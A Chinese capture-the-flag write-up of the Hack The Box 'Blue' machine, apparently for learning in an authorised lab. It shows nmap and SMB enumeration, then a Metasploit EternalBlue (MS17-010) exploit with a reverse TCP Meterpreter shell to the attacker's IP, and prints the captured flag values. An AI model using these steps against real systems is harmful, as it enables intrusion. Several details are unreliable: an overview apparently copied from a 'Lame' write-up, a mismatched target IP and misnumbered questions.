1. 靶机概述
HTB Lame 是 Hack The Box 平台上最经典的入门级靶机之一,以其简单直接的渗透路径而闻名。它主要考察对过时服务漏洞(如 Samba 3.0.20)的利用,是学习基础信息收集、漏洞扫描、漏洞利用和权限提升的绝佳起点。
- 靶机名称:Blue
- 靶机平台:Hack The Box
- 难度等级:Easy
- 靶机 IP:10.129.3.176
- 攻击机 IP:10.10.15.40(HTB VPN)
- 核心漏洞:MS17-010(永恒之蓝) (EternalBlue,漏洞编号 MS17-010)
2. 信息收集
首先,在启动 Lame 机器的时候,机器会显示目标地址 IP,本次示例为 10.129.3.176。拿到 IP 后,第一时间使用 nmap 对目标进行全端口扫描和版本探测:
sudo nmap -Pn -p- -sCV 10.129.3.78
参数详解:
- sudo:使用 root 权限进行连接扫描
- -Pn:跳过主机发现(禁 ping 时仍认为主机在线)
- -p-:扫描全部 65535 个 TCP 端口,避免遗漏高端口服务
- -sC:使用默认 NSE 脚本集,自动探测额外信息
- -sV:服务版本探测,用于后续漏洞匹配
─[au-free-2]─[10.10.15.40]─[ithzy88888@htb-icezful0tv]─[~]
└──╼ [★]$ sudo nmap -Pn -p- -sCV 10.129.3.176
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-03 20:55 EDT
Nmap scan report for 10.129.3.176
Host is up (0.21s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -13m35s, deviation: 34m35s, median: 6m22s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\\x00
| Workgroup: WORKGROUP\\x00
|_ System time: 2026-08-04T02:08:22+01:00
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-08-04T01:08:20
|_ start_date: 2026-08-04T00:58:07
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 416.22 seconds
扫描结果总结:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
NetBIOS computer name: HARIS-PC\\x00
在靶场练习中,应对端口数字拥有一定的敏感度。作为初学者而言,我们在第一步端口扫描的时候,我们并不知道那些是有用有用信息,我认为你除了熟能生巧以外,其实还可以借助AI帮你分析扫描的信息。
HTB Blue的第一个问题:
How many open TCP ports are listening on Blue? Don't include any 5-digit ports.
Blue服务器上有多少个开放的TCP端口正在监听?请不要包含任何5位数的端口号。
答案:3
显而易见,不是五位数的端口只有135,139,445这三个端口
HTB Blue的第二个问题:
What is the hostname of Blue?
Blue 的主机名是什么?
答案:haris-PC
在我们通过端口扫描的信息里面,我们是可以直接看到Blue的主机名的
NetBIOS computer name: HARIS-PC\\x00
HTB Blue的第三个问题:
What operating system is running on the target machine? Give a two-word answer with a name and high-level version.
目标机器上运行的是什么操作系统?请用两个词概括,包括操作系统名称和高级版本号。
答案:Windows 7
这里依旧是翻看扫描结果
OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
2.1知识拓展
Windows 经典系统漏洞:MS17-010(永恒之蓝)利用Windows系统的SMB漏洞可以获取系统最高权限,击者通过向目标主机开放的 445 端口发送恶意 SMB 数据包,可在无需任何用户交互的情况下,直接获取 最高权限
HTB Blue的第四个问题:
How many SMB shares are available on Blue?
在 Blue 这台靶机上,有多少个可用的 SMB 共享
答案:5
题目问的是 SMB 共享的数量,不是端口号,也不是系统版本。要回答它,你必须用一个能列出 SMB 共享的工具去探测靶机,因此在 Linux 攻击机上,列举 Windows SMB 共享的标准工具是smbclient,接下来我们需要对靶机 IP 10.129.3.176 执行指令:
─[au-free-2]─[10.10.15.40]─[ithzy88888@htb-icezful0tv]─[~]
└──╼ [★]$ smbclient -L //10.129.3.176/
Password for [WORKGROUP\\ithzy88888]:
Sharename Type Comment
——— —- ——-
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Share Disk
Users Disk
SMB1 disabled — no workgroup available
在 Sharename 这一列下面,一共列出来了 5 个条目,所以答案是5
HTB Blue的第五个问题:
What 2017 Microsoft Security Bulletin number describes a remote code execution vulnerability in SMB?
2017 年微软安全公告的哪个编号描述了 SMB 中的远程代码执行漏洞?
答案:MS17-010
这道题的答案在你选择这个机器的时候你应该就已经知道,永恒之蓝编号自然就是MS17-010
HTB Blue的第六个问题:
Optional question: A worm was set loose on the internet in May 2017 propagating primarily through MS17-010. What is the famous name for that malware?
选答题:2017 年 5 月,一种蠕虫病毒在互联网上肆虐,主要通过 MS17-010 传播。这种恶意软件的著名名称是什么?
答案:WannaCry
其实像这类题目我认为是科普类题目,在网上搜索都能查到相关资料,这里是引用百度百科{
WannaCry(中文名:永恒之蓝,又名Wanna Decryptor)是2017年5月12日爆发的一种蠕虫式勒索病毒软件,病毒体积约3.3MB,利用美国国家安全局泄露的“永恒之蓝”漏洞工具通过Windows系统MS17-010漏洞传播,波及150余个国家,30万名用户中招,造成80亿美元损失,主要影响金融、能源、医疗等行业及中国校园网用户 。该病毒通过445端口自动扫描传播,将文件加密为.WNCRY格式并索要比特币赎金,其变种WannaCry 2.0取消Kill Switch开关后传播速度加快 。
病毒传播期间,英国16家医院因感染被迫暂停急诊服务,中国大陆多所高校及中石油部分加油站出现断网 。微软虽提前发布MS17-010漏洞补丁,但未更新系统的计算机仍被感染 。临时防御措施包括关闭445端口、执行net stop命令阻断网络共享服务,最终需通过格式化重装系统清除病毒 。英国研究人员发现的Kill Switch域名短暂遏制病毒扩散 。}
HTB Blue的第七个问题:
What user do you get execution with when exploiting MS17-010? Include the full name, including anything before a .
利用 MS17-010 漏洞时,您使用哪个用户执行操作?请提供完整用户名,包括句点之前的所有内容。
答案:nt authority\\system
从这里开始我们就需要去获取权限,通过命令来查询用户名
所以现在开始探测的第一步:输入msfconsole指令,进入 Metasploit
┌─[au-free-2]─[10.10.15.40]─[ithzy88888@htb-icezful0tv]─[~]
└──╼ [★]$ msfconsole
Metasploit tip: You can use help to view all available commands
IIIIII dTb.dTb _.—._
II 4' v 'B .'"".'/|\\`.""'.
II 6. .P : .' / | \\ `. :
II 'T;. .;P' '.' / | \\ `.'
II 'T; ;P' `. / | \\ .'
IIIIII 'YvP' `-.__|__.-'
I love shells –egypt
=[ metasploit v6.4.111-dev ]
+ — –=[ 2,607 exploits – 1,323 auxiliary – 1,710 payloads ]
+ — –=[ 430 post – 49 encoders – 14 nops – 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
启动后,搜索 MS17-010 相关模块:
[msf](Jobs:0 Agents:0) >> search MS17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
– —- ————— —- —– ———–
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \\_ target: Automatic Target . . . .
2 \\_ target: Windows 7 . . . .
3 \\_ target: Windows Embedded Standard 7 . . . .
4 \\_ target: Windows Server 2008 R2 . . . .
5 \\_ target: Windows 8 . . . .
6 \\_ target: Windows 8.1 . . . .
7 \\_ target: Windows Server 2012 . . . .
8 \\_ target: Windows 10 Pro . . . .
9 \\_ target: Windows 10 Enterprise Evaluation . . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \\_ target: Automatic . . . .
12 \\_ target: PowerShell . . . .
13 \\_ target: Native upload . . . .
14 \\_ target: MOF upload . . . .
15 \\_ AKA: ETERNALSYNERGY . . . .
16 \\_ AKA: ETERNALROMANCE . . . .
17 \\_ AKA: ETERNALCHAMPION . . . .
18 \\_ AKA: ETERNALBLUE . . . .
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \\_ AKA: ETERNALSYNERGY . . . .
21 \\_ AKA: ETERNALROMANCE . . . .
22 \\_ AKA: ETERNALCHAMPION . . . .
23 \\_ AKA: ETERNALBLUE . . . .
24 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection
25 \\_ AKA: DOUBLEPULSAR . . . .
26 \\_ AKA: ETERNALBLUE . . . .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
28 \\_ target: Execute payload (x64) . . . .
29 \\_ target: Neutralize implant . . . .
Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
3. 漏洞利用
利用模块并设置参数,
第一先设置靶机IP10.129.3.176(这个是靶机刚开始给你的IP,每个人的是不一样的):
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set RHOST 10.129.3.176
RHOST => 10.129.3.176
第二设置我们攻击机的IP,如果你不知道你自己的IP,可以输入ip addr show tun0
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_ms17_010) >> ip addr show tun0
[*] exec: ip addr show tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.15.40/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1126/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::60b1:ad5e:7c30:4d8e/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
接下来是设置攻击机IP
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set LHOST 10.10.15.40
LHOST => 10.10.15.40
第三步就是执行攻击指令exploit
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> exploit
[*] Started reverse TCP handler on 10.10.15.40:4444
[*] 10.129.3.176:445 – Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.3.176:445 – Host is likely VULNERABLE to MS17-010! – Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.129.3.176:445 – Scanned 1 of 1 hosts (100% complete)
[+] 10.129.3.176:445 – The target is vulnerable.
[*] 10.129.3.176:445 – Connecting to target for exploitation.
[+] 10.129.3.176:445 – Connection established for exploitation.
[+] 10.129.3.176:445 – Target OS selected valid for OS indicated by SMB reply
[*] 10.129.3.176:445 – CORE raw buffer dump (42 bytes)
[*] 10.129.3.176:445 – 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.3.176:445 – 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.3.176:445 – 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.129.3.176:445 – Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.3.176:445 – Trying exploit with 12 Groom Allocations.
[*] 10.129.3.176:445 – Sending all but last fragment of exploit packet
[*] 10.129.3.176:445 – Starting non-paged pool grooming
[+] 10.129.3.176:445 – Sending SMBv2 buffers
[+] 10.129.3.176:445 – Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.3.176:445 – Sending final SMBv2 buffers.
[*] 10.129.3.176:445 – Sending last fragment of exploit packet!
[*] 10.129.3.176:445 – Receiving response from exploit packet
[+] 10.129.3.176:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.3.176:445 – Sending egg to corrupted connection.
[*] 10.129.3.176:445 – Triggering free of corrupted buffer.
[*] Sending stage (232006 bytes) to 10.129.3.176
id
[*] Meterpreter session 1 opened (10.10.15.40:4444 -> 10.129.3.176:49158) at 2026-08-03 21:44:20 -0400
[+] 10.129.3.176:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.3.176:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.3.176:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
现在我们已经拥有权限了,那么我可以查看我们的用户,输入查询指令
(Meterpreter 1)(C:\\Windows\\system32) > getuid
Server username: NT AUTHORITY\\SYSTEM
NT AUTHORITY\\SYSTEM这个就是我们得到的信息
HTB Blue的第八个问题:
Submit the flag located on the haris user's desktop.
提交位于haris用户桌面上的flag。
答案:User flag owned
到这里问题就变得简单了,在我们获得权限的情况下,我们可以直接查询user.txt文件
(Meterpreter 1)(C:\\Windows\\system32) > search -f user.txt
Found 1 result…
=================
Path Size (bytes) Modified (UTC)
—- ———— ————–
c:\\Users\\haris\\Desktop\\user.txt 34 2026-08-03 20:58:59 -0400
当我们查到文件地址之后,通过cat命令来查询文件内容,值得注意的是我们查询的地址需要用双引号来框住
(Meterpreter 1)(C:\\Windows\\system32) > cat "c:\\Users\\haris\\Desktop\\user.txt"
106174ede1ec16a9d215bebad743f727
HTB Blue的第八个问题:
Submit the flag located on the administrator's desktop.
提交位于管理员桌面上的标志。
答案:Root flag owned
跟第七个问题是同样的操作,我们直接查询root.txt文件
(Meterpreter 1)(C:\\Windows\\system32) > search -f root.txt
Found 1 result…
=================
Path Size (bytes) Modified (UTC)
—- ———— ————–
c:\\Users\\Administrator\\Desktop\\root.txt 34 2026-08-03 20:58:59 -0400
现在我们拿到地址之后直接查看文件内容
(Meterpreter 1)(C:\\Windows\\system32) > cat "c:\\Users\\Administrator\\Desktop\\root.txt "
f91675f1d326a5d4e5d1ee635ded07d5
4. 总结
4.1关于 MS17-010 永恒之蓝
第一,影响 SMBv1 协议的内核池溢出漏洞,
第二,影响 Windows 7 / Server 2008 R2 等系统,
第三,利用成功直接获得 SYSTEM 最高权限
4.2Meterpreter vs 普通 Shell区别
| 查看用户 | whoami | getuid |
| 网络信息 | ip / ifconfig | ipconfig |
| 查找文件 | find | search -f |
| 文件操作 | cat / ls | cat / ls / download |
至此Blue 靶机的完整攻击链已全部复盘完毕,Blue 靶机是一次从 Linux 到 Windows 环境的跨越,
这篇文章中的所有操作均在授权的 Hack The Box 靶场环境中完成,仅供学习和交流,最后愿君乘风千里,莫畏路阻道长。



